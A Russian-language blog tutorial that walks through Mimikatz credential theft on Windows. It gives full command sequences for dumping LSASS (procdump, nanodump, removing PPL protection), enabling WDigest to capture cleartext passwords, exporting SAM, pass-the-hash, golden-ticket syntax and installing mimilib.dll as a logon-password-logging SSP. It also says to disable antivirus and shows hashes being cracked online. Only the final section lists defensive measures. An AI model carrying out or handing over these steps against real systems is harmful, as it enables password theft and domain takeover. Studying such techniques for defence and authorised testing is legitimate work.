Извлекаем пароли/хэши пользователей Windows с помощью Mimikatz

В этой статье, написанной в рамках серии, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей и/или хешей паролей пользователей Windows с помощью утилиты Mimikatz.

Утилита mimikatz используется извлечения паролей, хешей, билетов Kerberos и других типов учетных данных пользователей из памяти Windows. Позволяет реализовать атаки Pass-the-Hash (PtH) and Pass-the-Ticket (PtT). Скачать Mimikatz можно с GitHub https://github.com/gentilkiwi/mimikatz/releases (в архиве mimikatz_trunk.zip доступны версии mimikatz.exe для x86 и x64). Большинство антивирусов (в том числе встроенный Microsoft Defender) реагируют на Mimikatz как на потенциально опасное/вредоносное ПО (HackTool:Win32/Mimikatz.D / HackTool:Win32/Mimikatz!MSR), поэтому придется либо добавить утилиту в исключения, либо полностью отключить антивирус.

Отметим, что с каждой новой версией Windows защита от функционала Mimikatz существенно усиливается. Так, например, Windows 11/Windows Server 2025 с настройками по умолчанию и включенным Credential Guard успешно блокирует большинство техник mimikatz. В более старых версиях Windows извлечь пароли и/или хэши намного проще.

Основы использования Mimikatz

Mimikatz используется для извлечения паролей, хешей, PIN-кодов и билетов Kerberos из памяти Windows, широко используемый в пентестинге и кибербезопасности.

При запуске утилиты mimikats.exe , открывается интерактивная консоль, в которой можно выполнять команды. Утилита содержит несколько модулей, для реализации различных техник. Основные модули:

  • sekurlsa – основной модуль для извлечения паролей, хешей и прочих учетных данных из памяти процесса lsass.exe. Позволяет получить логины и пароли пользователей.
  • kerberos — модуль для работы с билетами Kerberos: просмотр, извлечение, инъекция и атаки типа Pass-the-Ticket
  • crypto — модуль для работы с сертификатами и криптографическими объектами.
  • vault – позволяет извлечь сохраненные учетные данные из WindowsCredentialManager
  • lsadumpдля извлечения хешей паролей и секретов из базы данных безопасности (LSA), в том числе из SAM
  • process/mimikatz используются для манипуляций с процессами, токенами безопасности и повышения прав.

Основные тип команд (атак) mimikats:

  • privilege::debug – получить привилегии Debug в текущей сессии. Эти права нужны необходима для выполнения большинства операций инструмента, связанных с доступом к защищенным системным процессам и данным, такими как процесс LSASS.
  • sekurlsa::logonpasswords – извлечь из памяти кэшированные пароли, NTLM хэши, билеты Kerberos
  • lsadump::sam – извлечь NTLM хэши локальных пользователей из хранилища SAM
  • kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21... /krbtgt:<KRBTGT_HASH> /ptt – атака с использованием поддельного Kerberos Ticket Granting Ticket (TGT).
  • sekurlsa::pth /user:Admin /domain:WORKGROUP /ntlm:<NTLM_HASH> /run:cmd.exe – позволяет использовать полученный хэш пароля (без его декодирования) для аутентификации и запуска команд под учетной записью пользователя без знания реального пароля.

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe, Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

  1. Запустите Mimikatz.exe с правами администратора;
  2. В контексте утилиты выполните команды: mimikatz # privilege::debug Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege), необходимые для доступа к памяти системных процессов
  3. mimikatz # sekurlsa::logonPasswords full
    Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
  4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator
  5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие :
    anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
    Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

получение NTLM хэша пароля пользователя Windows из LSASS

Вместо интерактивного, можно использовать командный режим mimikatz. Выполните такую команду чтобы автоматически извлечь хэши паролей пользователей и экспортировать их текстовый файл
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt

Теперь воспользуйтесь любым офлайн (например, утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/. Сервис быстро нашел значения паролей для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них — это администратор домена…).

расшифровка ntlm хэшей

Если вы используете более сложные пароли, расшифровать их будет намного сложнее. Поэтому всегда включаете повышенную сложность в политике паролей Windows, запрещайте пользователям AD использовать простые и легко угадываемые пароли, периодически выполняйте аудит надежности паролей в домене.

В данном случае mimikatz позволит легко получить NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на хосте установлен антивирус, блокирующий инъекцию. Например, в Windows 11, доступ к памяти LSASS невозможен, даже с правами SeDebugPrivilege, из-за усиленных механизмов защиты, таких как Credential Guard и изоляция процесса LSASS с помощью виртуализации. При попытке выполнить команду sekurlsa::logonPasswords full появится ошибка:

mimikatz: ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Есть несколько способов создать дамп памяти процесса в Windows. В самом простом случае просто запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

дамп процесса lsass.exe

Windows сохраните дам памяти в указанную папку.

Однако, начиная с Windows 8.1. системный процесс lsass.exe защищен от снятия дампа памяти с помощью механизма RunAsPPL (Protected Process Lighе). Если открыть свойства процесса lsass.exe в Process Explorer, вы обнаружите что статус его защиты PsProtectedSignerLsaLight.

Защищенный процесс lsass.exe PsProtectedSignerLsa-Light.

Таким образом, для снятия дампа памяти придется использовать другие утилиты такие как WSASS или Nanodump (но сначала придется отключить защиту LSA через реестр, изменив значения параметров RunAsPPL = 0 и RunAsPPLBoot = 0):

nanodump.x64.exe -w C:\Windows\Temp\lsass_dump.bin -v

nanodump получить дами процесса lsass

В старых версиях Windows также можно отключить защиту PPL для процесса LSASS через mimikatz с помощью загрузки драйвера mimidriver.sys:

mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords

Проанализируйте полученный дамп памяти с помощью mimikatz (можно на другом компьютере):

Mimikatz "sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP"

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа:

# sekurlsa::logonPasswords

получение ntlm хэшей из дампа памяти

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования. vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Получить пароли пользователей Windows в открытом виде через WDigest

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен начиная с Windows 8.1 и Windows Server 2012R2, но не удален окончательно. Если у вас есть права администратора на компьютере, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

UseLogonCredential отключаем в реестре

Обновите GPO:

gpupdate /force

включить wdigest в windows через UseLogonCredential

Дождитесь входа пользователей и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из системной базы SAM (Security Account Manager).

Можно извлечь NTLM хэши всех локальных пользователей:

privilege::debug
token::elevate
lsadump::sam

И сразу по полученному NTLM хэшу можно получить пароль пользователя (если не сложный).

mimikatz получить ntlm хэш пароля

Либо можно сначала экспортировать содержимое SAM из реестра в файлы и проанализивать файлы уже на другом компьютере:

  1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы: reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv
    экспорт реестра
  2. Затем с помощью Mimikatz извлеките хэши паролей: privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

извлечение ntlm хэшей из реестра

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

Пользователи могут сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager:

privilege::debug
sekurlsa::credman

Как вы видите, сохранённый пароль показан в секции credman.

получаем сохраненные пароли Windows

Пароли для автоматического входа в Windows хранятся в реестре в открытом виде. Также просто извлечь сохраненные Wi-Fi пароли.

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительного SSP провайдера (Security Support Provider).

  1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
  2. Зарегистрируйте дополнительного провайдер командой: reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ поддельный ssp провайдер mimilib.dll
  3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

  • Регулярно устанавливайте обновления безопасности и переходит на более новые версии Windows (к примеру встроенные защитные механизмы Windows 11 и Windows Server 2025, в том числе Credential Guard, успешно защищают от почти всех техник mimikatz)
  • Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
  • Отключите Wdiget;
  • Отключить NTLM
  • Запретить использование сохранённых паролей в Credential Manager
  • Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
  • Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
  • Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft): reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f Можно распространить этот параметр реестра на компьютеры через GPO.
  • Используйте Credential Guard для защиты содержимого LSA процесса;
  • Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.
Совет. Подробная статья о способах защите памяти Windows систем от извлечения паролей и хэшей — Методы защиты от mimikatz в домене Windows.

Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
  • Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры пользователей.

Предыдущая статья Следующая статья


Комментариев: 36 Оставить комментарий

Оставить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Я не робот( Обязательно отметьте)